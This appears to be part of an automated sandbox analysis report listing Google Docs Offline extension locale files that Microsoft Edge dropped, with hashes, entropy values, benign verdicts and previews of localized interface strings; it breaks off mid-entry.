SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
